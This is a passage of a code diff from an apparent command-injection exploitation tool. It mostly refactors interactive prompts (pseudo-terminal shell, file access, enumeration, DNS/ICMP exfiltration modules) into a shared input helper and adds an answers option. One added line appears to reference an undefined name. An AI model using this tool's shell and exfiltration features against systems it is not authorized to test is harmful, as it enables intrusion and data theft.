@@ -449,13 +440,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if settings.FILE_ACCESS_DONE == True:
print(settings.SINGLE_WHITESPACE)
while True:
- if not menu.options.batch:
- question_msg = "Do you want to access files again? [Y/n] > "
- file_access_again = _input(settings.print_question_msg(question_msg))
- else:
- file_access_again = ""
- if len(file_access_again) == 0:
- file_access_again = "Y"
+ message = "Do you want to access files again? [Y/n] > "
+ file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
break
@@ -487,17 +473,10 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
go_back_again = False
while True:
if go_back == True:
- break
- if not menu.options.batch:
- question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = _input(settings.print_question_msg(question_msg))
- else:
- gotshell = ""
- if len(gotshell) == 0:
- gotshell = "Y"
+ break
+ message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ gotshell = common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
- # if not menu.options.batch:
- # print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
@@ -511,7 +490,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = _input()
+ cmd = common.read_input(message="", default=None, check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
@@ -594,13 +573,8 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response,
while True:
if go_back == True:
return False
- if not menu.options.batch:
- question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
- proceed_option = _input(settings.print_question_msg(question_msg))
- else:
- proceed_option = ""
- if len(proceed_option) == 0:
- proceed_option = "c"
+ message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
+ proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
from src.core.injections.semiblind.techniques.file_based import fb_handler
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index d4b075f8a1..26da81b9f5 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -27,9 +27,9 @@
import gzip
import zlib
import traceback
+from src.utils import common
from src.utils import logs
from src.utils import menu
-from src.utils import common
from src.utils import settings
from src.utils import simple_http_server
from src.thirdparty.odict import OrderedDict
@@ -422,8 +422,8 @@ def check_injection_level():
"""
def next_attack_vector(technique, go_back):
while True:
- message = "Continue with testing the " + technique + "? [Y/n] > "
- next_attack_vector = common.read_input(message, default="Y", check_batch=True)
+ message = "Continue with testing the " + technique + "? [y/N] > "
+ next_attack_vector = common.read_input(message, default="N", check_batch=True)
if next_attack_vector in settings.CHOICE_YES:
# Check injection state
assessment_phase()
@@ -1498,7 +1498,7 @@ def process_json_data():
info_msg = "JSON data found in POST data."
message = info_msg
message += " Do you want to process it? [Y/n] > "
- json_process = common.read_input(message, default="Y", check_batch=True)
+ json_process = common.read_input(message, default="Y", check_batch=True)
if json_process in settings.CHOICE_YES:
settings.IS_JSON = True
break
@@ -1574,8 +1574,9 @@ def file_upload():
# Check if not defined URL for upload.
while True:
message = "Do you want to enable an HTTP server? [Y/n] > "
- enable_HTTP_server = common.read_input(message, default="Y", check_batch=True)
+ enable_HTTP_server = common.read_input(message, default="Y", check_batch=True)
if enable_HTTP_server in settings.CHOICE_YES:
+
# Check if file exists
if not os.path.isfile(menu.options.file_upload):
err_msg = "The '" + menu.options.file_upload + "' file, does not exist."
@@ -1654,7 +1655,7 @@ def define_py_working_dir():
while True:
message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
message += "' as Python working directory on the target host? [Y/n] > "
- python_dir = common.read_input(message, default="Y" , check_batch=True)
+ python_dir = common.read_input(message, default="Y", check_batch=True)
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 1c0894548e..80acffdf25 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -19,6 +19,7 @@
from src.utils import menu
from src.utils import logs
from src.utils import settings
+from src.utils import common
from src.utils import session_handler
from src.core.requests import headers
from src.core.requests import requests
@@ -204,15 +205,10 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met
if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False:
if (len(menu.options.tech) == 0 or "e" in menu.options.tech):
while True:
- if not menu.options.batch:
- settings.CLASSIC_STATE = True
- question_msg = "Skipping of code injection tests is recommended. "
- question_msg += "Do you agree? [Y/n] > "
- procced_option = _input(settings.print_question_msg(question_msg))
- else:
- procced_option = ""
- if len(procced_option) == 0:
- procced_option = "Y"
+ settings.CLASSIC_STATE = True
+ message = "Skipping of code injection tests is recommended. "
+ message += "Do you agree? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.SKIP_CODE_INJECTIONS = True
break
@@ -240,15 +236,10 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho
settings.EVAL_BASED_STATE = None
if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False:
while True:
- if not menu.options.batch:
- settings.EVAL_BASED_STATE = True
- question_msg = "Skipping of further command injection checks is recommended. "
- question_msg += "Do you agree? [Y/n] > "
- procced_option = _input(settings.print_question_msg(question_msg))
- else:
- procced_option = ""
- if len(procced_option) == 0:
- procced_option = "Y"
+ settings.EVAL_BASED_STATE = True
+ message = "Skipping of further command injection checks is recommended. "
+ message += "Do you agree? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.SKIP_COMMAND_INJECTIONS = True
break
@@ -383,13 +374,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
while True:
- if not menu.options.batch:
- question_msg = "Skipping of further command injection tests is recommended. "
- question_msg += "Do you agree? [Y/n] > "
- procced_option = _input(settings.print_question_msg(question_msg))
- else:
- procced_option = ""
- if procced_option in settings.CHOICE_YES or len(procced_option) == 0:
+ message = "Skipping of further command injection tests is recommended. "
+ message += "Do you agree? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False
settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True
break
@@ -815,14 +803,9 @@ def do_check(url, http_request_method, filename):
scan_level = menu.options.level
while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True:
while True:
- if not menu.options.batch:
- question_msg = "Do you want to increase to '--level=" + str(scan_level + 1)
- question_msg += "' in order to perform more tests? [Y/n] > "
- next_level = _input(settings.print_question_msg(question_msg))
- else:
- next_level = ""
- if len(next_level) == 0:
- next_level = "Y"
+ message = "Do you want to increase to '--level=" + str(scan_level + 1)
+ message += "' in order to perform more tests? [Y/n] > "
+ next_level = common.read_input(message, default="Y", check_batch=True)
if next_level in settings.CHOICE_YES:
menu.options.level = int(menu.options.level + scan_level)
if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL :
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index cefc4f577c..a5142b36cc 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -24,6 +24,7 @@
from src.utils import menu
from src.utils import logs
from src.utils import settings
+from src.utils import common
from src.utils import session_handler
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.shells import reverse_tcp
@@ -290,16 +291,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
- if not menu.options.batch:
- question_msg = "Do you want to enumerate again? [Y/n] > "
- enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
- else:
- enumerate_again = ""
- if len(enumerate_again) == 0:
- enumerate_again = "Y"
+ message = "Do you want to enumerate again? [Y/n] > "
+ enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- #print(settings.SINGLE_WHITESPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
@@ -322,13 +317,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
if settings.ENUMERATION_DONE != True:
print(settings.SINGLE_WHITESPACE)
while True:
- if not menu.options.batch:
- question_msg = "Do you want to access files again? [Y/n] > "
- file_access_again = _input(settings.print_question_msg(question_msg))
- else:
- file_access_again = ""
- if len(file_access_again) == 0:
- file_access_again = "Y"
+ message = "Do you want to access files again? [Y/n] > "
+ file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
break
@@ -358,16 +348,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
while True:
if go_back == True:
break
- if not menu.options.batch:
- question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = _input(settings.print_question_msg(question_msg))
- else:
- gotshell = ""
- if len(gotshell) == 0:
- gotshell = "Y"
+ message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ gotshell = common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
- # if not menu.options.batch:
- # print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
@@ -376,7 +359,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = _input()
+ cmd = common.read_input(message="", default=None, check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
@@ -414,7 +397,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
print(settings.command_execution_output(shell))
print(settings.SINGLE_WHITESPACE)
else:
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1):
print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 4bfa672b56..dd77d4b545 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -24,6 +24,7 @@
from src.utils import menu
from src.utils import logs
from src.utils import settings
+from src.utils import common
from src.utils import session_handler
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import headers
@@ -301,13 +302,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
- if not menu.options.batch:
- question_msg = "Do you want to enumerate again? [Y/n] > "
- enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
- else:
- enumerate_again = ""
- if len(enumerate_again) == 0:
- enumerate_again = "Y"
+ message = "Do you want to enumerate again? [Y/n] > "
+ enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# print(settings.SINGLE_WHITESPACE)
@@ -333,13 +329,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if settings.ENUMERATION_DONE != True:
print(settings.SINGLE_WHITESPACE)
while True:
- if not menu.options.batch:
- question_msg = "Do you want to access files again? [Y/n] > "
- file_access_again = _input(settings.print_question_msg(question_msg))
- else:
- file_access_again = ""
- if len(file_access_again) == 0:
- file_access_again = "Y"
+ message = "Do you want to access files again? [Y/n] > "
+ file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
break
@@ -369,16 +360,9 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
while True:
if go_back == True:
break
- if not menu.options.batch:
- question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = _input(settings.print_question_msg(question_msg))
- else:
- gotshell = ""
- if len(gotshell) == 0:
- gotshell = "Y"
+ message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ gotshell = common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
- # if not menu.options.batch:
- # print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
@@ -387,7 +371,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = _input()
+ cmd = common.read_input(message="", default=None, check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
@@ -421,7 +405,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
print(settings.command_execution_output(shell))
print(settings.SINGLE_WHITESPACE)
else:
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1):
print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index da715e3a0a..531fffa7c2 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -25,6 +25,7 @@
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
+from src.utils import common
from src.core.injections.controller import checks
from src.core.injections.controller import shell_options
from src.thirdparty.six.moves import input as _input
@@ -77,9 +78,9 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon
example_root_dir = "\\inetpub\\wwwroot"
else:
example_root_dir = "/var/www"
- question_msg = "Please provide the host's root directory (e.g. '"
- question_msg += example_root_dir + "') > "
- settings.WEB_ROOT = _input(settings.print_question_msg(question_msg))
+ message = "Please provide the host's root directory (e.g. '"
+ message += example_root_dir + "') > "
+ settings.WEB_ROOT = common.read_input(message, default=None, check_batch=True)
if settings.WEB_ROOT.endswith(("\\", "/")):
settings.WEB_ROOT = settings.WEB_ROOT[:-1]
if len(settings.WEB_ROOT) == 0:
@@ -368,13 +369,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print(settings.SINGLE_WHITESPACE)
while True:
- if not menu.options.batch:
- question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
- tmp_upload = _input(settings.print_question_msg(question_msg))
- else:
- tmp_upload = ""
- if len(tmp_upload) == 0:
- tmp_upload = "Y"
+ message = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
+ tmp_upload = common.read_input(message, default="Y", check_batch=True)
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
@@ -525,13 +521,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
- if not menu.options.batch:
- question_msg = "Do you want to enumerate again? [Y/n] > "
- enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
- else:
- enumerate_again = ""
- if len(enumerate_again) == 0:
- enumerate_again = "Y"
+ message = "Do you want to enumerate again? [Y/n] > "
+ enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# print(settings.SINGLE_WHITESPACE)
@@ -560,13 +551,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if settings.ENUMERATION_DONE != True:
print(settings.SINGLE_WHITESPACE)
while True:
- if not menu.options.batch:
- question_msg = "Do you want to access files again? [Y/n] > "
- file_access_again = _input(settings.print_question_msg(question_msg))
- else:
- file_access_again = ""
- if len(file_access_again) == 0:
- file_access_again= "Y"
+ message = "Do you want to access files again? [Y/n] > "
+ file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
break
@@ -600,23 +586,14 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
go_back_again = False
while True:
# Delete previous shell (text) files (output)
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if go_back == True:
break
- if not menu.options.batch:
- question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = _input(settings.print_question_msg(question_msg))
- else:
- gotshell = ""
- if len(gotshell) == 0:
- gotshell = "Y"
+ message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ gotshell = common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
- # if not menu.options.batch:
- # print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
@@ -624,10 +601,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = _input()
+ cmd = common.read_input(message="", default=None, check_batch=True)
cmd = checks.escaped_cmd(cmd)
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
@@ -655,7 +630,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
print(settings.command_execution_output(shell))
print(settings.SINGLE_WHITESPACE)
if not shell or shell == "":
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1):
print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index 32f106e857..1a1a6fb5d7 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -27,6 +27,7 @@
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
+from src.utils import common
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import input as _input
@@ -283,13 +284,10 @@ def custom_web_root(url, OUTPUT_TEXTFILE):
if settings.MULTI_TARGETS:
settings.RECHECK_FILE_FOR_EXTRACTION = True
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use URL '" + output
- question_msg += "' as command execution output? [Y/n] > "
- procced_option = _input(settings.print_question_msg(question_msg))
- else:
- procced_option = ""
- if procced_option in settings.CHOICE_YES or len(procced_option) == 0:
+ message = "Do you want to use URL '" + output
+ message += "' as command execution output? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
settings.DEFINED_WEBROOT = output
break
elif procced_option in settings.CHOICE_NO:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index d0b5244353..e5948f2d9d 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -28,6 +28,7 @@
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
+from src.utils import common
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
@@ -237,13 +238,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
- if not menu.options.batch:
- question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
- proceed_option = _input(settings.print_question_msg(question_msg))
- else:
- proceed_option = ""
- if len(proceed_option) == 0:
- proceed_option = "c"
+ message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
+ proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
@@ -464,13 +460,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
- if not menu.options.batch:
- question_msg = "Do you want to enumerate again? [Y/n] > "
- enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
- else:
- enumerate_again = ""
- if len(enumerate_again) == 0:
- enumerate_again = "Y"
+ message = "Do you want to enumerate again? [Y/n] > "
+ enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print(settings.SINGLE_WHITESPACE)
@@ -495,13 +486,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if settings.FILE_ACCESS_DONE == True :
print(settings.SINGLE_WHITESPACE)
while True:
- if not menu.options.batch:
- question_msg = "Do you want to access files again? [Y/n] > "
- file_access_again = _input(settings.print_question_msg(question_msg))
- else:
- file_access_again = ""
- if len(file_access_again) == 0:
- file_access_again = "Y"
+ message = "Do you want to access files again? [Y/n] > "
+ file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
@@ -542,16 +528,9 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
while True:
if go_back == True:
break
- if not menu.options.batch:
- question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = _input(settings.print_question_msg(question_msg))
- else:
- gotshell = ""
- if len(gotshell) == 0:
- gotshell = "Y"
+ message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ gotshell = common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
- # if not menu.options.batch:
- # print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
@@ -564,7 +543,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = _input()
+ cmd = common.read_input(message="", default=None, check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
diff --git a/src/core/main.py b/src/core/main.py
index f0709d3eac..6e62ff69a6 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -578,6 +578,9 @@ def main(filename, url):
if menu.options.method:
settings.HTTP_METHOD = menu.options.method
+ if menu.options.answers:
+ settings.ANSWERS = menu.options.answers
+
# Check if defined "--proxy" option.
if menu.options.proxy:
for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy):
@@ -638,14 +641,14 @@ def main(filename, url):
if menu.options.wizard:
if not menu.options.url:
while True:
- question_msg = "Please enter full target URL (-u) > "
- menu.options.url = _input(settings.print_question_msg(question_msg))
+ message = "Please enter full target URL (-u) > "
+ menu.options.url = common.read_input(message, default=None, check_batch=True)
if len(menu.options.url) == 0:
pass
else:
break
- question_msg = "Please enter POST data (--data) [Enter for none] > "
- menu.options.data = _input(settings.print_question_msg(question_msg))
+ message = "Please enter POST data (--data) [Enter for none] > "
+ menu.options.data = common.read_input(message, default=None, check_batch=True)
if len(menu.options.data) == 0:
menu.options.data = False
@@ -833,14 +836,9 @@ def main(filename, url):
for url in clean_output_href:
if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS:
url_num += 1
- print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
- if not menu.options.batch:
- question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "Y"
+ print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
+ message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
+ message = common.read_input(message, default="Y", check_batch=True)
if message in settings.CHOICE_YES:
settings.INIT_TEST = True
if url == clean_output_href[-1]:
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
index d1266781e9..79ef2db2af 100755
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py
@@ -105,13 +105,8 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique):
while True:
if go_back == True:
break
- if not menu.options.batch:
- question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = _input(settings.print_question_msg(question_msg))
- else:
- gotshell = ""
- if len(gotshell) == 0:
- gotshell= "Y"
+ message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ gotshell = _common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
@@ -121,7 +116,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique):
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = _input()
+ cmd = common.read_input(message="", default=None, check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "quit" or cmd.lower() == "back":
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 0f7c26a942..9676b414b0 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -139,14 +139,9 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique):
go_back_again = False
while True:
if go_back == True:
- break
- if not menu.options.batch:
- question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = _input(settings.print_question_msg(question_msg))
- else:
- gotshell = ""
